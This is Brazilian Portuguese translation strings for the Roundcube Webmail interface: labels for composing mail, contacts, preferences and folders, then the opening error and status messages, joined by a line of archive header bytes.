$labels['returnreceipt'] = 'Confirmação de recebimento';
$labels['dsn'] = 'Recibo de entrega';
$labels['keepformatting'] = 'Manter formatação';
$labels['mailreplyintro'] = 'Em $date, $sender escreveu:';
$labels['originalmessage'] = 'Mensagem original';
$labels['selectimage'] = 'Selecionar imagem';
$labels['addimage'] = 'Adicionar imagem';
$labels['selectmedia'] = 'Selecionar vídeo';
$labels['addmedia'] = 'Adicionar vídeo';
$labels['encrypt'] = 'Criptografar';
$labels['encryptmessage'] = 'Criptografar mensagem';
$labels['encryptmessagemailvelope'] = 'Criptografar mensagem com Mailvelope';
$labels['importpubkeys'] = 'Importar chaves públicas';
$labels['encryptedsendialog'] = 'Enviando mensagem criptografada';
$labels['encryptandsign'] = 'Cifrar e assinar';
$labels['keyid'] = 'ID da chave';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Expirado';
$labels['keyrevoked'] = 'Revogado';
$labels['bccinstead'] = 'Usar Cco';
$labels['addheader'] = 'Adicionar destinatário (cabeçalho)';
$labels['insert'] = 'Inserir';
$labels['insertcontact'] = 'Inserir contato(s)';
$labels['recipient'] = 'Destinatário';
$labels['recipientedit'] = 'Editar destinatário';
$labels['editidents'] = 'Editar identidades';
$labels['spellcheck'] = 'Revisar';
$labels['checkspelling'] = 'Verificar ortografia';
$labels['resumeediting'] = 'Continuar a edição';
$labels['revertto'] = 'Reverter para';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = 'Restaurar mensagem?';
$labels['ignore'] = 'Ignorar';
$labels['responses'] = 'Respostas';
$labels['insertresponse'] = 'Inserir uma resposta';
$labels['manageresponses'] = 'Gerenciar respostas';
$labels['newresponse'] = 'Criar nova resposta pré-configurada';
$labels['addresponse'] = 'Adicionar resposta pré-configurada';
$labels['editresponse'] = 'Editar resposta pré-configurada';
$labels['editresponses'] = 'Editar respostas pré-configuradas';
$labels['responsename'] = 'Nome';
$labels['responsetext'] = 'Texto da resposta pré-configurada';
$labels['attach'] = 'Anexar';
$labels['attachments'] = 'Anexos';
$labels['upload'] = 'Enviar arquivo';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Fechar';
$labels['messageoptions'] = 'Opções da mensagem...';
$labels['togglecomposeoptions'] = 'Exibir opções de composição da mensagem';
$labels['attachmentrename'] = 'Renomear anexo';
$labels['low'] = 'Baixa';
$labels['lowest'] = 'Mais baixa';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alta';
$labels['highest'] = 'Mais alta';
$labels['nosubject'] = '(sem assunto)';
$labels['showimages'] = 'Exibir imagens';
$labels['allow'] = 'Permitir';
$labels['alwaysshow'] = 'Sempre exibir imagens de $sender';
$labels['alwaysallow'] = 'Sempre permitir de $sender';
$labels['isdraft'] = 'Esta é uma mensagem salva como rascunho.';
$labels['andnmore'] = '$nr mais...';
$labels['details'] = 'Detalhes';
$labels['summary'] = 'Resumo';
$labels['headers'] = 'Cabeçalhos';
$labels['allheaders'] = 'Todos os cabeçalhos...';
$labels['togglemoreheaders'] = 'Exibir informações adicionais da mensagem (cabeçalhos)';
$labels['togglefullheaders'] = 'Exibir cabeçalho original da mensagem';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Texto simples';
$labels['savesentmessagein'] = 'Salvar mensagens enviadas em';
$labels['dontsave'] = 'não salvar';
$labels['maxuploadsize'] = 'Tamanho máximo permitido do arquivo é $size';
$labels['addcc'] = 'Adicionar Cópia';
$labels['addbcc'] = 'Adicionar Cópia Oculta';
$labels['addreplyto'] = 'Adicionar Endereço de Resposta';
$labels['addfollowupto'] = 'Adicionar Endereço de Encaminhamento';
$labels['sendreceipt'] = 'Enviar confirmação de leitura?';
$labels['mdnrequest'] = 'O remetente desta mensagem deseja ser notificado quando você ler esta mensagem. Você permite o envio desta notificação?';
$labels['receiptread'] = 'Confirmação de Leitura (exibida)';
$labels['yourmessage'] = 'Esta é uma confirmação de leitura da sua mensagem';
$labels['receiptnote'] = 'Nota: Esta confirmação de leitura somente informa que a mensagem foi aberta no computador do destinatário. Não há garantia que o destinatário tenha lido ou compreendido o conteúdo da mensagem.';
$labels['sendalwaysto'] = 'Sempre envie para $email';
$labels['zoomin'] = 'Aumentar o Zoom';
$labels['zoomout'] = 'Diminuir o Zoom';
$labels['rotate'] = 'Rotacionar';
$labels['increaseimage'] = 'Aumentar tamanho da imagem';
$labels['decreaseimage'] = 'Diminuir tamanho da imagem';
$labels['rotateimage'] = 'Rotacionar imagem';
$labels['showtools'] = 'Mostrar ferramentas de imagem';
$labels['hidetools'] = 'Esconder ferramentas de imagem';
$labels['name'] = 'Nome';
$labels['firstname'] = 'Primeiro Nome';
$labels['surname'] = 'Sobrenome';
$labels['middlename'] = 'Segundo Nome';
$labels['nameprefix'] = 'Prefixo';
$labels['namesuffix'] = 'Sufixo';
$labels['nickname'] = 'Apelido';
$labels['jobtitle'] = 'Ocupação';
$labels['department'] = 'Departamento';
$labels['gender'] = 'Sexo';
$labels['maidenname'] = 'Nome de solteira';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefone';
$labels['address'] = 'Endereço';
$labels['street'] = 'Rua';
$labels['locality'] = 'Cidade';
$labels['zipcode'] = 'CEP';
$labels['region'] = 'Estado';
$labels['country'] = 'País';
$labels['birthday'] = 'Data de nascimento';
$labels['anniversary'] = 'Aniversário';
$labels['website'] = 'Site';
$labels['instantmessenger'] = 'Mensagem instantânea (IM)';
$labels['notes'] = 'Anotações';
$labels['male'] = 'masculino';
$labels['female'] = 'feminino';
$labels['manager'] = 'Gerente';
$labels['assistant'] = 'Assistente';
$labels['spouse'] = 'Cônjuge';
$labels['allfields'] = 'Todos os campos';
$labels['search'] = 'Pesquisar';
$labels['searchresult'] = 'Resultado da pesquisa';
$labels['advsearch'] = 'Pesquisa Avançada';
$labels['advanced'] = 'Avançado';
$labels['other'] = 'Outro';
$labels['printcontact'] = 'Imprimir contato';
$labels['qrcode'] = 'QR Code';
$labels['typehome'] = 'Residencial';
$labels['typework'] = 'Trabalho';
$labels['typeother'] = 'Outro';
$labels['typemobile'] = 'Celular';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax Residencial';
$labels['typeworkfax'] = 'Fax do Trabalho';
$labels['typecar'] = 'Carro';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Vídeo';
$labels['typeassistant'] = 'Assistente';
$labels['typehomepage'] = 'Página pessoal';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Adicionar campo...';
$labels['addcontact'] = 'Adicionar contato';
$labels['editcontact'] = 'Editar contato';
$labels['contacts'] = 'Contatos';
$labels['contactproperties'] = 'Propriedades do contato';
$labels['contactnameandorg'] = 'Nome e Organização';
$labels['personalinfo'] = 'Informações pessoais';
$labels['personal'] = 'Pessoal';
$labels['contactphoto'] = 'Foto do contato';
$labels['edit'] = 'Editar';
$labels['cancel'] = 'Cancelar';
$labels['save'] = 'Salvar';
$labels['delete'] = 'Excluir';
$labels['discard'] = 'Descartar';
$labels['continue'] = 'Continuar';
$labels['ok'] = 'OK';
$labels['rename'] = 'Renomear';
$labels['addphoto'] = 'Adicionar';
$labels['replacephoto'] = 'Substituir';
$labels['uploadphoto'] = 'Enviar foto';
$labels['choosefile'] = 'Escolher arquivo...';
$labels['choosefiles'] = 'Escolher arquivos...';
$labels['browse'] = 'Procurar';
$labels['newcontact'] = 'Adicionar novo contato';
$labels['deletecontact'] = 'Exclui os contatos selecionados';
$labels['composeto'] = 'Compor mensagem para';
$labels['contactsfromto'] = 'Contatos $from - $to de $count';
$labels['print'] = 'Imprimir';
$labels['export'] = 'Exportar';
$labels['exportall'] = 'Exportar todos';
$labels['exportsel'] = 'Exportar selecionados';
$labels['exportvcards'] = 'Exportar os contatos em formato vCard';
$labels['newgroup'] = 'Criar novo grupo';
$labels['addgroup'] = 'Adicionar grupo';
$labels['grouprename'] = 'Renomear grupo';
$labels['groupdelete'] = 'Excluir grupo';
$labels['groupassign'] = 'Atribuir ao grupo...';
$labels['groupremove'] = 'Remover do grupo';
$labels['groupremoveselected'] = 'Remover os contatos selecionados do grupo';
$labels['uponelevel'] = 'Subir um nível';
$labels['previouspage'] = 'Página Anterior';
$labels['firstpage'] = 'Primeira Página';
$labels['nextpage'] = 'Próxima Página';
$labels['lastpage'] = 'Última Página';
$labels['group'] = 'Grupo';
$labels['groups'] = 'Grupos';
$labels['listgroup'] = 'Listar membros do grupo';
$labels['personaladrbook'] = 'Endereços pessoais';
$labels['searchsave'] = 'Salvar pesquisa';
$labels['searchdelete'] = 'Excluir pesquisa';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contatos';
$labels['importfromfile'] = 'Importar do arquivo';
$labels['importtarget'] = 'Adicionar contatos para';
$labels['importreplace'] = 'Substituir o catálogo de endereços atual';
$labels['importgroups'] = 'Importar atribuições do grupo';
$labels['importgroupsall'] = 'Todos (criar grupo se necessário)';
$labels['importgroupsexisting'] = 'Somente para grupos existentes';
$labels['importdesc'] = 'Você pode enviar contatos de um catálogo de endereços existente.<br/>Os contatos devem ser enviados no formato <a href="http://en.wikipedia.org/wiki/VCard">vCard</a> ou CSV (valores separados por vírgula).';
$labels['importmapdesc'] = 'Confirme se a informação de mapeamento dos campos abaixo estão corretas antes de prosseguir com a importação de dados CSV (separado por vírgula).';
$labels['fieldnotmapped'] = 'Campo não mapeado (não importar)';
$labels['skipheader'] = 'Não importar a primeira linha (cabeçalhos)';
$labels['done'] = 'Concluído';
$labels['settingsfor'] = 'Configurações para';
$labels['about'] = 'Sobre';
$labels['preferences'] = 'Preferências';
$labels['userpreferences'] = 'Preferências do usuário';
$labels['editpreferences'] = 'Editar preferências do usuário';
$labels['identities'] = 'Identidades';
$labels['manageidentities'] = 'Gerenciar identidades';
$labels['newidentity'] = 'Criar nova identidade';
$labels['addidentity'] = 'Adicionar identidade';
$labels['editidentity'] = 'Editar identidade';
$labels['identityencryption'] = 'Criptografia';
$labels['preferhtml'] = 'Exibir em HTML';
$labels['defaultcharset'] = 'Conjunto padrão de caracteres';
$labels['htmlmessage'] = 'Mensagem HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Assinatura Digital';
$labels['dateformat'] = 'Formato da data';
$labels['timeformat'] = 'Formato da hora';
$labels['prettydate'] = 'Exibir datas amigáveis';
$labels['setdefault'] = 'Definir como padrão';
$labels['autodetect'] = 'Automático';
$labels['language'] = 'Idioma';
$labels['timezone'] = 'Fuso horário';
$labels['pagesize'] = 'Mensagens por página';
$labels['signature'] = 'Assinatura';
$labels['dstactive'] = 'Horário de verão';
$labels['showinextwin'] = 'Abrir mensagem em uma nova janela';
$labels['composeextwin'] = 'Compor em uma nova janela';
$labels['htmleditor'] = 'Criar mensagens em HTML';
$labels['htmlonreply'] = 'em resposta à mensagem em HTML somente';
$labels['htmlonreplyandforward'] = 'em resposta ou encaminhamento de mensagem em HTML';
$labels['htmlsignature'] = 'Assinatura em HTML';
$labels['showemail'] = 'Exibir o endereço de email junto ao nome de exibição';
$labels['previewpane'] = 'Exibir pré-visualização';
$labels['skin'] = 'Aparência da interface (tema)';
$labels['logoutclear'] = 'Esvaziar a Lixeira ao sair';
$labels['logoutcompact'] = 'Compactar a Caixa de Entrada ao sair';
$labels['uisettings'] = 'Interface de usuário';
$labels['serversettings'] = 'Configurações do Servidor';
$labels['mailboxview'] = 'Exibição da Caixa de Correio';
$labels['mdnrequests'] = 'Envio de Confirmação de Leitura para o remetente';
$labels['askuser'] = 'solicite minha confirmação';
$labels['autosend'] = 'enviar confirmação';
$labels['autosendknown'] = 'enviar confirmação para os meus contatos, caso contrário, pergunte-me';
$labels['autosendknownignore'] = 'enviar confirmação para os meus contatos, caso contrário, ignore';
$labels['autosendtrusted'] = 'enviar recibo para remetentes confiáveis, caso contrário, pergunte-me';
$labels['autosendtrustedignore'] = 'enviar recibo para remetentes confiáveis, caso contrário, ignorar';
$labels['ignorerequest'] = 'ignorar solicitação';
$labels['readwhendeleted'] = 'Marcar a mensagem como lida ao excluir';
$labels['flagfordeletion'] = 'Marcar a mensagem para exclusão ao invés de excluir';
$labels['skipdeleted'] = 'Não exibir mensagens excluídas';
$labels['deletealways'] = 'Excluir as mensagens se movê-las para a lixeira falhar';
$labels['deletejunk'] = 'Apagar as mensagens da pasta de SPAM sem movê-las para a lixeira';
$labels['showremoteimages'] = 'Exibir imagens externas';
$labels['allowremoteresources'] = 'Permitir recursos remotos (imagens, estilos)';
$labels['fromknownsenders'] = 'de remetentes conhecidos';
$labels['fromtrustedsenders'] = 'de remetentes confiáveis';
$labels['frommycontacts'] = 'dos meus contatos';
$labels['always'] = 'sempre';
$labels['alwaysbutplain'] = 'sempre, exceto quando respondendo a mensagem de texto simples';
$labels['showinlineimages'] = 'Exibir imagens anexadas abaixo da mensagem';
$labels['autosavedraft'] = 'Salvar rascunho automaticamente';
$labels['everynminutes'] = 'a cada $n minuto(s)';
$labels['refreshinterval'] = 'Atualização (verificação de novas mensagens, etc.)';
$labels['never'] = 'nunca';
$labels['immediately'] = 'imediatamente';
$labels['messagesdisplaying'] = 'Exibição de mensagens';
$labels['messagescomposition'] = 'Redigir mensagens';
$labels['mimeparamfolding'] = 'Nomes de anexos';
$labels['2231folding'] = 'RFC 2231 Integral (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 Integral (outro)';
$labels['force7bit'] = 'Usar codificação MIME para caracteres 8-bit';
$labels['savelocalstorage'] = "Salvar no armazenamento local do navegador (temporariamente)";
$labels['advancedoptions'] = 'Opções avançadas';
$labels['toggleadvancedoptions'] = 'Ativar opções avançadas';
$labels['focusonnewmessage'] = 'Focar janela do navegador ao receber nova mensagem';
$labels['checkallfolders'] = 'Verificar se há novas mensagens em todas as pastas';
$labels['displaynext'] = 'Mostrar próximo item da lista após excluir/mover';
$labels['defaultfont'] = 'Fonte padrão para mensagens HTML';
$labels['mainoptions'] = 'Opções Principais';
$labels['browseroptions'] = 'Opções do navegador';
$labels['section'] = 'Seção';
$labels['maintenance'] = 'Manutenção';
$labels['newmessage'] = 'Nova Mensagem';
$labels['signatureoptions'] = 'Opções de Assinatura';
$labels['whenreplying'] = 'Quando responder';
$labels['replyempty'] = 'Não incluir a mensagem original';
$labels['replytopposting'] = 'iniciar nova mensagem acima da original';
$labels['replytoppostingnoindent'] = 'Começar nova mensagem acima da citação (sem indentação)';
$labels['replybottomposting'] = 'iniciar nova mensagem abaixo da original';
$labels['replyremovesignature'] = 'Remover assinatura original da mensagem ao respondê-la';
$labels['autoaddsignature'] = 'Adicionar assinatura automaticamente';
$labels['newmessageonly'] = 'somente em novas mensagens';
$labels['replyandforwardonly'] = 'somente em respostas e encaminhamentos';
$labels['insertsignature'] = 'Inserir assinatura';
$labels['sigbelow'] = 'Colocar assinatura após a mensagem citada';
$labels['sigseparator'] = 'Forçar separador padrão nas assinaturas';
$labels['automarkread'] = 'Marcar mensagens como lidas';
$labels['afternseconds'] = 'depois de $n segundos';
$labels['reqmdn'] = 'Sempre pedir confirmação de leitura';
$labels['reqdsn'] = 'Sempre pedir confirmação de entrega';
$labels['replysamefolder'] = 'Colocar as respostas na mesma pasta da mensagem original';
$labels['defaultabook'] = 'Catálogo de endereços padrão';
$labels['autocompletesingle'] = 'Ignorar endereços alternativos no autocompletar';
$labels['listnamedisplay'] = 'Listar contatos como';
$labels['contactformmode'] = 'Modo de formulário de contato';
$labels['privatemode'] = 'Privado (Casa)';
$labels['businessmode'] = 'Empresarial (Trabalho)';
$labels['collectedaddresses'] = 'Endereços coletados';
$labels['collectedrecipients'] = 'Destinatários coletados';
$labels['collectedrecipientsopt'] = 'Armazenar destinatários de email em';
$labels['collectedsendersopt'] = 'Armazenar remetentes confiáveis em';
$labels['trustedsenders'] = 'Remetentes confiáveis';
$labels['spellcheckbeforesend'] = 'Verificar ortografia antes de enviar uma mensagem';
$labels['spellcheckoptions'] = 'Opções do Verificador Ortográfico';
$labels['spellcheckignoresyms'] = 'Ignorar palavras com símbolos';
$labels['spellcheckignorenums'] = 'Ignorar palavras com números';
$labels['spellcheckignorecaps'] = 'Ignorar palavras com todas letras maiúsculas';
$labels['addtodict'] = 'Adicionar ao dicionário';
$labels['mailtoprotohandler'] = 'Associar links de e-mail (mailto:) para envio de mensagem através do webmail';
$labels['standardwindows'] = 'Usar popups como janelas do navegador';
$labels['forwardmode'] = 'Encaminhamento de mensagens';
$labels['inline'] = 'Em linha (no corpo da mensagem)';
$labels['asattachment'] = 'como anexo';
$labels['replyallmode'] = 'Ação padrão do botão [Responder a todos]';
$labels['replyalldefault'] = 'responder a todos';
$labels['replyalllist'] = 'responder somente à lista de discussão (se identificada)';
$labels['allmessages'] = 'todas as mensagens';
$labels['olderxdays'] = 'com mais de $x dias';
$labels['folder'] = 'Pasta';
$labels['folders'] = 'Pastas';
$labels['foldername'] = 'Nome da pasta';
$labels['subscribed'] = 'Inscrito';
$labels['messagecount'] = 'Mensagens';
$labels['create'] = 'Criar';
$labels['createfolder'] = 'Criar nova pasta';
$labels['managefolders'] = 'Gerenciar pastas';
$labels['specialfolders'] = 'Pastas de sistema';
$labels['properties'] = 'Propriedades';
$labels['folderproperties'] = 'Propriedades da pasta';
$labels['parentfolder'] = 'Pasta pai';
$labels['location'] = 'Localização';
$labels['info'] = 'Informação';
$labels['getfoldersize'] = 'Exibir o tamanho da pasta';
$labels['changesubscription'] = 'Clique para ativar/desativar';
$labels['foldertype'] = 'Tipo de Pasta';
$labels['personalfolder'] = 'Pasta Particular';
$labels['otherfolder'] = 'Pasta de outro Usuário';
$labels['sharedfolder'] = 'Pasta Pública';
$labels['findfolders'] = 'Pesquisar pastas';
$labels['findcontacts'] = 'Encontrar contatos';
$labels['findmail'] = 'Encontrar e-mails';
$labels['namespace.personal'] = 'Pessoal';
$labels['namespace.other'] = 'Outros usuários';
$labels['namespace.shared'] = 'Compartilhada';
$labels['dualuselabel'] = 'Pode conter apenas';
$labels['dualusemail'] = 'mensagens';
$labels['dualusefolder'] = 'pastas';
$labels['generate'] = 'Gerar';
$labels['encryptioncreatekey'] = 'Criar novo par de chaves';
$labels['openmailvelopesettings'] = 'Abrir Configurações de Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Você tem $nr chaves privadas compatíveis armazanadas no keyring do seu Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'A identidade do remetente ainda não possui uma chave privada PGP armazanada em sua extensão do Mailvelope. Gostaria de criar uma para poder habilitar mensagem criptografada?';
$labels['encryption'] = 'Criptografia';
$labels['mailvelopeoptions'] = 'Opções do Mailvelope';
$labels['mailvelopemainkeyring'] = 'Usar chaveiro principal do Mailvelope';
$labels['mailvelopenotfound'] = 'A extensão do Mailvelope não está ativada/instalada no seu navegador.';
$labels['sortby'] = 'Ordenar por';
$labels['sortasc'] = 'Ascendente';
$labels['sortdesc'] = 'Descendente';
$labels['undo'] = 'Desfazer';
$labels['installedplugins'] = 'Plugins instalados';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Versão';
$labels['source'] = 'Fonte';
$labels['destination'] = 'Destinação';
$labels['license'] = 'Licença';
$labels['support'] = 'Obter suporte';
$labels['savedsearches'] = 'Pesquisas salvas';
$labels['dateformatY'] = 'AAAA';
$labels['dateformaty'] = 'AA';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglês';
$labels['westerneuropean'] = 'Oeste Europeu';
$labels['easterneuropean'] = 'Leste Europeu';
$labels['southeasterneuropean'] = 'Sudeste Europeu';
$labels['baltic'] = 'Báltico';
$labels['cyrillic'] = 'Cirílico';
$labels['arabic'] = 'Árabe';
$labels['greek'] = 'Grego';
$labels['hebrew'] = 'Hebraico';
$labels['turkish'] = 'Turco';
$labels['nordic'] = 'Nórdico';
$labels['thai'] = 'Tailandês';
$labels['celtic'] = 'Celta';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Japonês';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Chinês';
$labels['arialabeltopnav'] = 'Controle da janela';
$labels['arialabeltasknav'] = 'Tarefas da aplicação';
$labels['arialabeltoolbar'] = 'Barra de ferramentas da aplicação';
$labels['arialabellistnav'] = 'Navegação por lista';
$labels['arialabelactivetask'] = 'Tarefa ativa';
$labels['arialabelmessagessearchfilter'] = 'Filtros da listagem de e-mails';
$labels['arialabelmailsearchform'] = 'Formulário de pesquisa de e-mails';
$labels['arialabelcontactsearchform'] = 'Formulário de pesquisa de contatos';
$labels['arialabelmailquicksearchbox'] = 'Campo de pesquisa de e-mails';
$labels['arialabelquicksearchbox'] = 'Campo de pesquisa';
$labels['arialabelfoldersearchfilter'] = 'Filtros da listagem de pastas';
$labels['arialabelfoldersearchform'] = 'Formulário de pesquisa de pastas';
$labels['arialabelfolderlist'] = 'Seleção de pastas de e-mail';
$labels['arialabelmessagelist'] = 'Listagem dos e-mails';
$labels['arialabelmailpreviewframe'] = 'Pré-visualização de mensagem';
$labels['arialabelmailboxmenu'] = 'Menu de ações da pasta';
$labels['arialabellistselectmenu'] = 'Menu de seleção de mensagens';
$labels['arialabelthreadselectmenu'] = 'Menu de listagem por assunto';
$labels['arialabelmessagelistoptions'] = 'Listagem dos e-mails e opções de ordenação';
$labels['arialabelmailimportdialog'] = 'Janela de importação de mensagens';
$labels['arialabelmessagenav'] = 'Navegação das mensagens';
$labels['arialabelmessagebody'] = 'Corpo da Mensagem';
$labels['arialabelmessageactions'] = 'Ações para as mensagens';
$labels['arialabelcontactquicksearch'] = 'Formulário de pesquisa de contatos';
$labels['arialabelcontactsearchbox'] = 'Campo de pesquisa de contatos';
$labels['arialabelmessageheaders'] = 'Cabeçalhos da mensagem';
$labels['arialabelforwardingoptions'] = 'Opções de encaminhamento';
$labels['arialabelreplyalloptions'] = 'Opções de responder a todos';
$labels['arialabelmoremessageactions'] = 'Mais ações para as mensagens';
$labels['arialabelmorecontactactions'] = 'Mais ações de contato';
$labels['arialabelmarkmessagesas'] = 'Marcar a mensagem selecionada como...';
$labels['arialabelcomposeoptions'] = 'Opções para compor a mensagem';
$labels['arialabelresponsesmenu'] = 'Menu de respostas pré-configuradas';
$labels['arialabelattachmentuploadform'] = 'Formulário de upload de anexos';
$labels['arialabelattachmentmenu'] = 'Opções de anexos';
$labels['arialabelmailtomenu'] = 'Opções de endereço de e-mail';
$labels['arialabelattachmentpreview'] = 'Pré-visualização de anexos';
$labels['ariasummarycomposecontacts'] = 'Lista de contatos e grupos para selecionar como destinatários';
$labels['arialabelcontactexportoptions'] = 'Opções de exportação dos contatos';
$labels['arialabelabookgroupoptions'] = 'Opções de catálogo de endereços/grupos';
$labels['arialabelpreferencesform'] = 'Formulário de preferências';
$labels['arialabelidentityeditfrom'] = 'Formulário de edição de identidade';
$labels['arialabelresponseeditfrom'] = 'Formulário de edição de resposta';
$labels['arialabelsearchterms'] = 'Termos de pesquisa';
$labels['arialabeldropactionmenu'] = 'Menu de ações arrastar-e-largar';
$labels['arialabelheadersmenu'] = 'Menu para adicionar destinatário (cabeçalho)';
$labels['arialabelimagetools'] = 'Ferramentas para imagens';
$labels['helplistnavigation'] = 'Lista de navegação pelo teclado';
$labels['helplistkeyboardnavigation'] = "Setas para cima/baixo: Move o foco/seleção da linha.
Espaço: Seleciona a linha em foco.
Shift + seta para cima/baixo: Seleciona linhas adicionais acima/abaixo.
Ctrl + Espaço: Adiciona linha em foco à seleção/remove da seleção.";
$labels['helplistkeyboardnavmessages'] = "Setas para direita/esquerda: expande/recolhe agrupamento do assunto (somente com modo de agrupamento por assunto ativo).
Enter: Abre a mensagem selecionada/em foco.
Delete: Move a mensagem selecionada para a Lixeira.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Abre o contato selecionado";
PK
h�\��^��G�G'program/localization/pt_BR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ocorreu um erro!';
$messages['loginfailed']  = 'Falha no login';
$messages['cookiesdisabled'] = 'Seu navegador não aceita cookies.';
$messages['sessionerror'] = 'A sessão do seu navegador é inválida ou expirou';
$messages['cookiesmismatch'] = 'Cookie imcompatível detectado. Por favor, limpar os cookies de seu navegador.';
$messages['storageerror'] = 'Falha na conexão com o servidor. Verifique se informou os dados corretamente.';
$messages['servererror'] = 'Erro no Servidor!';
$messages['servererrormsg'] = 'Erro no Servidor: $msg';
$messages['accountlocked'] = 'Muitas tentativas de login inválidas. Tente novamente depois.';
$messages['connerror'] = 'Erro de conexão (Falha na comunicação com o servidor)!';
$messages['dberror'] = 'Erro no banco de dados!';
$messages['dbconnerror'] = 'Não foi possível conectar à base de dados!';
$messages['windowopenerror'] = 'A janela popup foi bloqueada!';
$messages['requesttimedout'] = 'Tempo da requisição esgotado';
$messages['errorreadonly'] = 'Não foi possível realizar a operação. Pasta somente leitura';
$messages['errornoperm'] = 'Não foi possível realizar a operação. Acesso negado';
$messages['erroroverquota'] = 'Não foi possível realizar a operação. Não há espaço disponível.';
$messages['erroroverquotadelete'] = 'Não há espaço disponível. Utilize SHIFT+DEL para apagar a mensagem.';
$messages['invalidrequest'] = 'Requisição inválida! Nenhum dado foi salvo.';
$messages['invalidhost'] = 'Endereço de servidor inválido.';
$messages['nomessagesfound'] = 'Nenhuma mensagem encontrada nessa caixa de mensagens';
$messages['loggedout'] = 'Sua sessão foi finalizada. Até logo!';
$messages['mailboxempty'] = 'A caixa de mensagens está vazia';
$messages['nomessages'] = 'Sem mensagens';
$messages['refreshing'] = 'Atualizando...';
$messages['loading'] = 'Carregando...';
$messages['uploading'] = 'Enviando arquivo...';
$messages['attaching'] = 'Anexando arquivo...';
$messages['uploadingmany'] = 'Enviando arquivos...';
$messages['loadingdata'] = 'Carregando dados...';
$messages['checkingmail'] = 'Verificando se há novas mensagens...';
$messages['sendingmessage'] = 'Enviando mensagem...';
$messages['messagesent'] = 'Mensagem enviada com sucesso';
$messages['savingmessage'] = 'Salvando Mensagem...';
$messages['messagesaved'] = 'Mensagem salva em Rascunhos';
$messages['successfullysaved'] = 'Salvo com sucesso';
$messages['savingresponse'] = 'Salvando resposta pré-definida...';
$messages['deleteresponseconfirm'] = 'Você realmente deseja apagar esta resposta pré-definida?';
$messages['nocontactselected'] = 'Você ainda não selecionou um contato.';
$messages['addedsuccessfully'] = 'Contato incluído com sucesso no catálogo de endereços.';
$messages['contactexists'] = 'Já existe um contato com esse mesmo e-mail.';
$messages['contactnameexists'] = 'Já existe um contato com o mesmo nome.';
$messages['blockedimages'] = 'Para proteger sua privacidade, as imagens remotas desta mensagem foram bloqueadas.';
$messages['blockedresources'] = 'Para proteger sua privacidade recursos remotos foram bloqueados.';
$messages['suspiciousemail'] = 'Esta mensagem contém endereços de email suspeitos que podem ser fraudulentos.';
$messages['bccemail'] = 'A(s) mensagem(ns) encaminhada(s) contêm destinatários confidenciais (Bcc).';
$messages['bouncehint'] = 'A mensagem será enviada sem nenhuma alteração, ou seja, usando o corpo, cabeçalhos e destinatários originais.';
$messages['encryptedmessage'] = 'Esta é uma mensagem criptografada e não pode ser exibida. Desculpe.';
$messages['externalmessagedecryption'] = 'Esta é uma mensagem criptografada e pode ser descriptografado com  extensão do seu navegador.';
$messages['nopubkeyfor'] = 'Nenhuma chave publica encontrada para $email';
$messages['nopubkeyforsender'] = 'Nenhuma chave pública válida encontrada para sua identidade. Você quer criptografar a mensagem apenas para os destinatários?';
$messages['encryptnoattachments'] = 'Anexos já carregados não podem ser criptografados. Adicione-os novamente no editor com criptografia.';
$messages['searchpubkeyservers'] = 'Você deseja procurar as chaves faltantes nos servidores de chaves públicas?';
$messages['encryptpubkeysfound'] = 'As seguintes chaves públicas foram localizadas:';
$messages['keyservererror'] = 'Falha ao obter a chave de seu servidor de chaves.';
$messages['keyimportsuccess'] = 'Chave Pública $key importada com sucesso ao seu chaveiro.';
$messages['nocontactsfound'] = 'Nenhum contato encontrado.';
$messages['contactnotfound'] = 'O contato solicitado não foi encontrado.';
$messages['contactsearchonly'] = 'Você tem que usar o formulário de busca para ver os contatos do catálogo de endereço selecionado.';
$messages['sendingfailed'] = 'Falha no envio da mensagem.';
$messages['senttooquickly'] = 'Aguarde $sec s para enviar a mensagem.';
$messages['errorsavingsent'] = 'Ocorreu um erro ao salvar a mensagem enviada.';
$messages['errorsaving'] = 'Ocorreu um erro ao salvar.';
$messages['errormoving'] = 'Não foi possível mover a(s) mensagem(ns).';
$messages['errorcopying'] = 'Não foi possível copiar a(s) mensagem(ns).';
$messages['errordeleting'] = 'Não foi possível apagar a(s) mensagem(ns).';
$messages['errormarking'] = 'Não foi possível marcar a(s) mensagem(ns).';
$messages['alerttitle'] = 'Atenção';
$messages['confirmationtitle'] = 'Você está seguro...';
$messages['deletecontactconfirm']  = 'Deseja realmente excluir o(s) contato(s) selecionado(s)?';
$messages['deletegroupconfirm']  = 'Deseja realmente excluir o grupo selecionado?';
$messages['deletemessagesconfirm'] = 'Deseja realmente excluir a(s) mensagem(s) selecionada(s)?';
